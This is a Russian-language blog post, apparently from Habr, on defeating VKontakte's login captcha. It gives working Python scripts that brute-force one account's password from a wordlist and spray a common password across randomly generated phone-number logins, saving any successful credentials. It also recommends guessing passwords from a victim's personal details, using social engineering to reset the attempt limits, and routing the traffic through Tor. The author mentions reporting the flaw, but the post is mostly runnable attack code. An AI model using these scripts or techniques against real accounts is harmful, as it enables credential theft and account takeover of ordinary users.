Как стать автором
Обновить

Обход капчи при авторизации ВКонтакте

Не так давно начал учить Python и попробовал использовать VK API на Python. Поняв как это всё работает решил попробовать и использовал для этого Python модуль vk_api.

С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:

import vk_api
vk_session = vk_api.VkApi('79100000000', 'passwordA')
vk_session.auth()

Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.

Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.

Далее сделал попытку подбора паролей для страницы А и написал следующий код:

import vk_api, os
i = 0 # будем считывать пароли
auth_i = 0 # будем считывать круги
login_a = '79100000000' #логин к странице А
login_b = '79200000000' #логин к странице В
password_b = 'passwordB' #пароль к странице В
password_file = "password.txt" # файл с паролями
# читаем файл с паролями построчно
with open('password_file.txt', 'r') as f:
    password = f.read().splitlines()
while len(password) > i:
    # на каждые 6 раз авторизуемся, что бы избавиться от капчи
    if auth_i == 6:
        vk_session = vk_api.VkApi(login_b, password_b)
        vk_session.auth()
        os.system("rm vk_config.v2.json")
        auth_i=0
    try:
        vk_sessions = vk_api.VkApi(login_a, password[i]) # делаем попытку авторизации
        vk_sessions.auth()
        print("[###]:  "+password[i]) # если Успех, то выводим пароль
    except:
        print(password[i]) # если ошибка, то идем дальше считывая пароли
    auth_i+=1
    i+=1


Пароли:

qwerty321 #1
an199910  #2
10an10199 #3
...
<u>
dxer19991 #53
</u>... #60

И в результате получил dxer19991 .

Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.

Вроде не так страшно, но допустим у нас есть обычный юзер:

Павел Дуровский 1999.10.10 79200000000

Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:

pasha1010
10101999pasha
...

И так составить примерно 60 паролей.

Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.

В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.

Кто сказал, что брутить можно только логин?

Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:

import vk_api, random, time, os
i=0
codes = [900, 902, 903, 904, 905, 906, 908, 909,
         950, 951, 953, 960, 961, 962, 963, 964,
         965, 966, 967, 968, 969, 980, 983, 986,
         901, 904, 910, 911, 912, 913, 914, 915,
         916, 917, 918, 919, 950, 978, 980, 981,
         982, 983, 984, 985, 987, 988, 989, 920,
         921, 922, 923, 924, 925, 926, 927, 928,
         929, 930, 931, 932, 933, 934, 936, 937,
         938, 939, 950, 951, 999, 901, 952, 958,
         977, 991, 992, 993, 994, 995, 996, 998] # операторы
password = "12345678" # пароль по которому будем искать
cod = "" #cod = "968"
while True:
    try:
        if cod == "":
            login = "7"+str(codes[random.randint(0, len(codes))])+str(random.randint(1000000, 9999999))
        else:
            login = "7"+cod+str(random.randint(1000000, 9999999))
    except:
        print("Error creating login")
    try:
        vk_session = vk_api.VkApi(login, password)
        vk_session.auth()
        print("[TRUE]>>> login: "+login+" : "+"Password: "+password)
        file = open("bd.log", "a+")
        file.write("login: "+login+" "+"Password: "+password+"\n")
        file.close()
        i=0
    except:
        if i == 10:
            # логин и пароль для сброса капчи
            vk_sessions = vk_api.VkApi('79200000000', "password") 
            vk_sessions.auth()
            print("reCaptcha")
            os.system("rm vk_config.v2.json")
            i=0
        else:
            print("=> "+login+" for "+password)
        i+=1
        time.sleep(0.2) # машину жалко

Ну а после я подключил Тор к консоли и запустил код.

Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.

В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.

Об этом решил сообщить в вк, но ответа всё ещё не получил.
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.